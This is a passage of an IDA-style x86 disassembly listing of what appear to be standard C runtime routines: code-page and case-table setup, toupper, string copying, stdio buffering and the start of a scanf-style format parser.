loc_42079B:				; CODE XREF: sub_4206A9+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_420776


loc_4207A2:				; CODE XREF: sub_4206A9+CBj
					; sub_4206A9+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_42076F
		mov	eax, [ebp+arg_0]
		mov	dword_4DF49C, 1
		push	eax
		mov	dword_4DF484, eax
		call	sub_42088C
		lea	esi, dword_43F214[esi]
		mov	edi, offset dword_4DF490
		movsd
		movsd
		pop	ecx
		mov	dword_4DF6A4, eax
		movsd
		jmp	short loc_420831
; ---------------------------------------------------------------------------


loc_4207DC:				; CODE XREF: sub_4206A9+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_420730


loc_4207E8:				; CODE XREF: sub_4206A9+7Ej
					; sub_4206A9+8Bj
		push	1
		pop	eax


loc_4207EB:				; CODE XREF: sub_4206A9+14Fj
		or	byte_4DF5A1[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_4207EB
		push	esi
		call	sub_42088C
		pop	ecx
		mov	dword_4DF6A4, eax
		mov	dword_4DF49C, 1
		jmp	short loc_420818
; ---------------------------------------------------------------------------


loc_420812:				; CODE XREF: sub_4206A9+74j
		mov	dword_4DF49C, ebx


loc_420818:				; CODE XREF: sub_4206A9+167j
		xor	eax, eax
		mov	edi, offset dword_4DF490
		stosd
		stosd
		stosd
		jmp	short loc_420831
; ---------------------------------------------------------------------------


loc_420824:				; CODE XREF: sub_4206A9+51j
		cmp	dword_4DE0B8, ebx
		jz	short loc_42083A


loc_42082C:				; CODE XREF: sub_4206A9+27j
		call	sub_4208BF


loc_420831:				; CODE XREF: sub_4206A9+131j
					; sub_4206A9+179j
		call	sub_4208E8


loc_420836:				; CODE XREF: sub_4206A9+1Dj
		xor	eax, eax
		jmp	short loc_42083D
; ---------------------------------------------------------------------------


loc_42083A:				; CODE XREF: sub_4206A9+181j
		or	eax, 0FFFFFFFFh


loc_42083D:				; CODE XREF: sub_4206A9+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4206A9	endp


; =============== S U B	R O U T	I N E =======================================



sub_420842	proc near		; CODE XREF: sub_4206A9+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4DE0B8, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_420862
		mov	dword_4DE0B8, 1
		jmp	dword_428060
; ---------------------------------------------------------------------------


loc_420862:				; CODE XREF: sub_420842+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_420877
		mov	dword_4DE0B8, 1
		jmp	dword_4281D4
; ---------------------------------------------------------------------------


loc_420877:				; CODE XREF: sub_420842+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_42088B
		mov	eax, dword_4DE0FC
		mov	dword_4DE0B8, 1

locret_42088B:				; CODE XREF: sub_420842+38j
		retn
sub_420842	endp


; =============== S U B	R O U T	I N E =======================================



sub_42088C	proc near		; CODE XREF: sub_4206A9+118p
					; sub_4206A9+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_4208B9
		sub	eax, 4
		jz	short loc_4208B3
		sub	eax, 0Dh
		jz	short loc_4208AD
		dec	eax
		jz	short loc_4208A7
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4208A7:				; CODE XREF: sub_42088C+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_4208AD:				; CODE XREF: sub_42088C+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_4208B3:				; CODE XREF: sub_42088C+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_4208B9:				; CODE XREF: sub_42088C+9j
		mov	eax, 411h
		retn
sub_42088C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4208BF	proc near		; CODE XREF: sub_4206A9:loc_42082Cp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4DF5A0
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4DF490
		mov	dword_4DF484, eax
		mov	dword_4DF49C, eax
		mov	dword_4DF6A4, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4208BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4208E8	proc near		; CODE XREF: sub_4206A9:loc_420831p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4DF484
		call	dword_4281D0	; GetCPInfo
		cmp	eax, 1
		jnz	loc_420A21
		xor	eax, eax
		mov	esi, 100h


loc_420912:				; CODE XREF: sub_4208E8+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_420912
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_420963
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_420931:				; CODE XREF: sub_4208E8+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_420958
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_420958:				; CODE XREF: sub_4208E8+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_420931
		pop	edi
		pop	ebx


loc_420963:				; CODE XREF: sub_4208E8+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4DF6A4
		push	dword_4DF484
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_424517
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4DF484
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4DF6A4
		call	sub_423383
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4DF484
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4DF6A4
		call	sub_423383
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_4209DE:				; CODE XREF: sub_4208E8+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_4209FC
		or	byte_4DF5A1[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_4209F4:				; CODE XREF: sub_4208E8+127j
		mov	byte_4DF4A0[eax], dl
		jmp	short loc_420A18
; ---------------------------------------------------------------------------


loc_4209FC:				; CODE XREF: sub_4208E8+FCj
		test	dl, 2
		jz	short loc_420A11
		or	byte_4DF5A1[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_4209F4
; ---------------------------------------------------------------------------


loc_420A11:				; CODE XREF: sub_4208E8+117j
		and	byte_4DF4A0[eax], 0


loc_420A18:				; CODE XREF: sub_4208E8+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_4209DE
		jmp	short loc_420A6A
; ---------------------------------------------------------------------------


loc_420A21:				; CODE XREF: sub_4208E8+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_420A28:				; CODE XREF: sub_4208E8+180j
		cmp	eax, 41h
		jb	short loc_420A46
		cmp	eax, 5Ah
		ja	short loc_420A46
		or	byte_4DF5A1[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_420A3E:				; CODE XREF: sub_4208E8+174j
		mov	byte_4DF4A0[eax], cl
		jmp	short loc_420A65
; ---------------------------------------------------------------------------


loc_420A46:				; CODE XREF: sub_4208E8+143j
					; sub_4208E8+148j
		cmp	eax, 61h
		jb	short loc_420A5E
		cmp	eax, 7Ah
		ja	short loc_420A5E
		or	byte_4DF5A1[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_420A3E
; ---------------------------------------------------------------------------


loc_420A5E:				; CODE XREF: sub_4208E8+161j
					; sub_4208E8+166j
		and	byte_4DF4A0[eax], 0


loc_420A65:				; CODE XREF: sub_4208E8+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_420A28


loc_420A6A:				; CODE XREF: sub_4208E8+137j
		pop	esi
		leave
		retn
sub_4208E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_420A6D	proc near		; CODE XREF: sub_423756+9p
					; sub_4237AE+Dp ...
		cmp	dword_4DF6D4, 0
		jnz	short locret_420A88
		push	0FFFFFFFDh
		call	sub_4206A9
		pop	ecx
		mov	dword_4DF6D4, 1

locret_420A88:				; CODE XREF: sub_420A6D+7j
		retn
sub_420A6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420A89	proc near		; CODE XREF: sub_41C1A1+2Bp
					; sub_41C1A1+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4DF49C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_420AAD
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41BDC0
		add	esp, 0Ch
		jmp	short loc_420B10
; ---------------------------------------------------------------------------


loc_420AAD:				; CODE XREF: sub_420A89+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_420AF2
		mov	ecx, [ebp+arg_4]


loc_420AB8:				; CODE XREF: sub_420A89+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4DF5A1[esi], 4
		mov	[edi], al
		jz	short loc_420ADC
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_420AE8
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_420AEE
		jmp	short loc_420AE2
; ---------------------------------------------------------------------------


loc_420ADC:				; CODE XREF: sub_420A89+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_420AF2


loc_420AE2:				; CODE XREF: sub_420A89+51j
		test	edx, edx
		jnz	short loc_420AB8
		jmp	short loc_420AF2
; ---------------------------------------------------------------------------


loc_420AE8:				; CODE XREF: sub_420A89+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_420AF2
; ---------------------------------------------------------------------------


loc_420AEE:				; CODE XREF: sub_420A89+4Fj
		and	byte ptr [edi-2], 0


loc_420AF2:				; CODE XREF: sub_420A89+2Aj
					; sub_420A89+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_420B0D
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_420B0D:				; CODE XREF: sub_420A89+6Fj
		mov	eax, [ebp+arg_0]


loc_420B10:				; CODE XREF: sub_420A89+22j
		pop	edi
		pop	ebp
		retn
sub_420A89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420B13	proc near		; CODE XREF: sub_41C38D+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DE0EC, 0
		push	ebx
		jnz	short loc_420B3E
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_420BDC
		cmp	eax, 7Ah
		jg	loc_420BDC
		sub	eax, 20h
		jmp	loc_420BDC
; ---------------------------------------------------------------------------


loc_420B3E:				; CODE XREF: sub_420B13+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_420B71
		cmp	dword_43F1F4, 1
		jle	short loc_420B5E
		push	2
		push	ebx
		call	sub_41FD15
		pop	ecx
		pop	ecx
		jmp	short loc_420B69
; ---------------------------------------------------------------------------


loc_420B5E:				; CODE XREF: sub_420B13+3Dj
		mov	eax, off_43EFE8
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_420B69:				; CODE XREF: sub_420B13+49j
		test	eax, eax
		jnz	short loc_420B71


loc_420B6D:				; CODE XREF: sub_420B13+AFj
		mov	eax, ebx
		jmp	short loc_420BDC
; ---------------------------------------------------------------------------


loc_420B71:				; CODE XREF: sub_420B13+34j
					; sub_420B13+58j
		mov	edx, off_43EFE8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_420B94
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_420B9D
; ---------------------------------------------------------------------------


loc_420B94:				; CODE XREF: sub_420B13+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_420B9D:				; CODE XREF: sub_420B13+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4DE0EC
		call	sub_423383
		add	esp, 20h
		test	eax, eax
		jz	short loc_420B6D
		cmp	eax, 1
		jnz	short loc_420BCF
		movzx	eax, [ebp+var_4]
		jmp	short loc_420BDC
; ---------------------------------------------------------------------------


loc_420BCF:				; CODE XREF: sub_420B13+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_420BDC:				; CODE XREF: sub_420B13+14j
					; sub_420B13+1Dj ...
		pop	ebx
		leave
		retn
sub_420B13	endp


; =============== S U B	R O U T	I N E =======================================



sub_420BDF	proc near		; CODE XREF: sub_41C5AC+1Dp
					; sub_41DBBE+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4DE030, ecx
		mov	eax, offset dword_43F300


loc_420BF0:				; CODE XREF: sub_420BDF+1Ej
		cmp	ecx, [eax]
		jz	short loc_420C14
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43F468
		jl	short loc_420BF0
		cmp	ecx, 13h
		jb	short loc_420C21
		cmp	ecx, 24h
		ja	short loc_420C21
		mov	dword_4DE02C, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_420C14:				; CODE XREF: sub_420BDF+13j
		mov	eax, dword_43F304[edx*8]
		mov	dword_4DE02C, eax
		retn
; ---------------------------------------------------------------------------


loc_420C21:				; CODE XREF: sub_420BDF+23j
					; sub_420BDF+28j
		cmp	ecx, 0BCh
		jb	short loc_420C3B
		cmp	ecx, 0CAh
		mov	dword_4DE02C, 8
		jbe	short locret_420C45


loc_420C3B:				; CODE XREF: sub_420BDF+48j
		mov	dword_4DE02C, 16h

locret_420C45:				; CODE XREF: sub_420BDF+5Aj
		retn
sub_420BDF	endp


; =============== S U B	R O U T	I N E =======================================



sub_420C46	proc near		; CODE XREF: sub_41C5D6+8p
					; sub_41D9BC+9p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_424660
		test	eax, eax
		pop	ecx
		jz	short loc_420CCF
		cmp	esi, offset dword_43F5D8
		jnz	short loc_420C64
		xor	eax, eax
		jmp	short loc_420C6F
; ---------------------------------------------------------------------------


loc_420C64:				; CODE XREF: sub_420C46+18j
		cmp	esi, offset dword_43F5F8
		jnz	short loc_420CCF
		push	1
		pop	eax


loc_420C6F:				; CODE XREF: sub_420C46+1Cj
		inc	dword_4DE104
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_420CCF
		cmp	dword_4DE0BC[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4DE0BCh[eax*4]
		mov	ebx, 1000h
		jnz	short loc_420CB5
		push	ebx
		call	sub_41BCA5
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_420CB5
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_420CC2
; ---------------------------------------------------------------------------


loc_420CB5:				; CODE XREF: sub_420C46+4Dj
					; sub_420C46+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_420CC2:				; CODE XREF: sub_420C46+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420CCF:				; CODE XREF: sub_420C46+10j
					; sub_420C46+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_420C46	endp


; =============== S U B	R O U T	I N E =======================================



sub_420CD3	proc near		; CODE XREF: sub_41C5D6+24p
					; sub_41D9BC+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_420CFD
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_420D0E
		push	esi
		call	sub_41E38B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420CFD:				; CODE XREF: sub_420CD3+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_420D0E
		push	eax
		call	sub_41E38B
		pop	ecx


loc_420D0E:				; CODE XREF: sub_420CD3+10j
					; sub_420CD3+32j
		pop	esi
		retn
sub_420CD3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420D10	proc near		; CODE XREF: sub_41CE15+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_421716
		mov	edi, [ebp+arg_0]
		jmp	short loc_420D3F
; ---------------------------------------------------------------------------


loc_420D3A:				; CODE XREF: sub_420D10+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_420D3F:				; CODE XREF: sub_420D10+28j
		cmp	dword_43F1F4, 1
		jle	short loc_420D57
		movzx	eax, al
		push	8
		push	eax
		call	sub_41FD15
		pop	ecx
		pop	ecx
		jmp	short loc_420D66
; ---------------------------------------------------------------------------


loc_420D57:				; CODE XREF: sub_420D10+36j
		mov	ecx, off_43EFE8
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_420D66:				; CODE XREF: sub_420D10+45j
		cmp	eax, ebx
		jz	short loc_420DA0
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_42179D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_421786
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41DE70
		add	esp, 0Ch


loc_420D8E:				; CODE XREF: sub_420D10+8Ej
		test	eax, eax
		jz	short loc_420DA0
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41DE70
		pop	ecx
		jmp	short loc_420D8E
; ---------------------------------------------------------------------------


loc_420DA0:				; CODE XREF: sub_420D10+58j
					; sub_420D10+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_421682
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_420DD7:				; CODE XREF: sub_420D10+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43F1F4, 1
		jle	short loc_420DF4
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41FD15
		pop	ecx
		pop	ecx
		jmp	short loc_420E03
; ---------------------------------------------------------------------------


loc_420DF4:				; CODE XREF: sub_420D10+D3j
		mov	ecx, off_43EFE8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_420E03:				; CODE XREF: sub_420D10+E2j
		test	eax, eax
		jz	short loc_420E19
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_420E7E
; ---------------------------------------------------------------------------


loc_420E19:				; CODE XREF: sub_420D10+F5j
		cmp	ebx, 4Eh
		jg	short loc_420E5C
		jz	short loc_420E7E
		cmp	ebx, 2Ah
		jz	short loc_420E57
		cmp	ebx, 46h
		jz	short loc_420E7E
		cmp	ebx, 49h
		jz	short loc_420E39
		cmp	ebx, 4Ch
		jnz	short loc_420E6B
		inc	[ebp+var_D]
		jmp	short loc_420E7E
; ---------------------------------------------------------------------------


loc_420E39:				; CODE XREF: sub_420D10+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_420E6B
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_420E6B
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_420E7E
; ---------------------------------------------------------------------------


loc_420E57:				; CODE XREF: sub_420D10+113j
		inc	[ebp+var_E]
		jmp	short loc_420E7E
; ---------------------------------------------------------------------------


loc_420E5C:				; CODE XREF: sub_420D10+10Cj
		cmp	ebx, 68h
		jz	short loc_420E78
		cmp	ebx, 6Ch
		jz	short loc_420E70
		cmp	ebx, 77h
		jz	short loc_420E73


loc_420E6B:				; CODE XREF: sub_420D10+122j
					; sub_420D10+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_420E7E
; ---------------------------------------------------------------------------


loc_420E70:				; CODE XREF: sub_420D10+154j
		inc	[ebp+var_D]


loc_420E73:				; CODE XREF: sub_420D10+159j
		inc	[ebp+var_5]
		jmp	short loc_420E7E
; ---------------------------------------------------------------------------


loc_420E78:				; CODE XREF: sub_420D10+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_420E7E:				; CODE XREF: sub_420D10+107j
					; sub_420D10+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_420DD7
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_420EA3
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_420EA3:				; CODE XREF: sub_420D10+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_420EC1
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_420EBD
		cmp	al, 43h
		jz	short loc_420EBD
		or	[ebp+var_5], 0FFh
		jmp	short loc_420EC1
; ---------------------------------------------------------------------------


loc_420EBD:				; CODE XREF: sub_420D10+1A1j
					; sub_420D10+1A5j
		mov	[ebp+var_5], 1


loc_420EC1:				; CODE XREF: sub_420D10+19Bj
					; sub_420D10+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_420EFA
		cmp	esi, 63h
		jz	short loc_420EEB
		cmp	esi, 7Bh
		jz	short loc_420EEB
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_42179D
		pop	ecx
		jmp	short loc_420EF6
; ---------------------------------------------------------------------------


loc_420EEB:				; CODE XREF: sub_420D10+1C5j
					; sub_420D10+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42176C


loc_420EF6:				; CODE XREF: sub_420D10+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_420EFA:				; CODE XREF: sub_420D10+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_420F0A
		cmp	[ebp+var_C], eax
		jz	loc_4216E6


loc_420F0A:				; CODE XREF: sub_420D10+1EFj
		cmp	esi, 6Fh
		jg	loc_421171
		jz	loc_421423
		cmp	esi, 63h
		jz	loc_42114E
		cmp	esi, 64h
		jz	loc_421423
		jle	loc_42119B
		cmp	esi, 67h
		jle	short loc_420F6E
		cmp	esi, 69h
		jz	short loc_420F56
		cmp	esi, 6Eh
		jnz	loc_42119B
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_421651
		jmp	loc_421677
; ---------------------------------------------------------------------------


loc_420F56:				; CODE XREF: sub_420D10+229j
		push	64h
		pop	esi


loc_420F59:				; CODE XREF: sub_420D10+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_4211E3
		mov	[ebp+var_17], 1
		jmp	loc_4211E8
; ---------------------------------------------------------------------------


loc_420F6E:				; CODE XREF: sub_420D10+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_420F8A
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_420F8F
; ---------------------------------------------------------------------------


loc_420F8A:				; CODE XREF: sub_420D10+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_420FA6


loc_420F8F:				; CODE XREF: sub_420D10+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_42176C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_420FA9
; ---------------------------------------------------------------------------


loc_420FA6:				; CODE XREF: sub_420D10+27Dj
		mov	edi, [ebp+arg_0]


loc_420FA9:				; CODE XREF: sub_420D10+294j
		cmp	[ebp+var_20], 0
		jz	short loc_420FB8
		cmp	[ebp+var_C], 15Dh
		jle	short loc_420FBF


loc_420FB8:				; CODE XREF: sub_420D10+29Dj
		mov	[ebp+var_C], 15Dh


loc_420FBF:				; CODE XREF: sub_420D10+2A6j
					; sub_420D10+2F2j
		cmp	dword_43F1F4, 1
		jle	short loc_420FD4
		push	4
		push	ebx
		call	sub_41FD15
		pop	ecx
		pop	ecx
		jmp	short loc_420FDF
; ---------------------------------------------------------------------------


loc_420FD4:				; CODE XREF: sub_420D10+2B6j
		mov	eax, off_43EFE8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420FDF:				; CODE XREF: sub_420D10+2C2j
		test	eax, eax
		jz	short loc_421004
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_421004
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42176C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_420FBF
; ---------------------------------------------------------------------------


loc_421004:				; CODE XREF: sub_420D10+2D1j
					; sub_420D10+2DBj
		cmp	byte_43F1F8, bl
		jnz	short loc_421072
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_421072
		inc	[ebp+var_4]
		push	edi
		call	sub_42176C
		mov	ebx, eax
		mov	al, byte_43F1F8
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_42102D:				; CODE XREF: sub_420D10+360j
		cmp	dword_43F1F4, 1
		jle	short loc_421042
		push	4
		push	ebx
		call	sub_41FD15
		pop	ecx
		pop	ecx
		jmp	short loc_42104D
; ---------------------------------------------------------------------------


loc_421042:				; CODE XREF: sub_420D10+324j
		mov	eax, off_43EFE8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_42104D:				; CODE XREF: sub_420D10+330j
		test	eax, eax
		jz	short loc_421072
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_421072
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42176C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42102D
; ---------------------------------------------------------------------------


loc_421072:				; CODE XREF: sub_420D10+2FAj
					; sub_420D10+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_42110A
		cmp	ebx, 65h
		jz	short loc_42108A
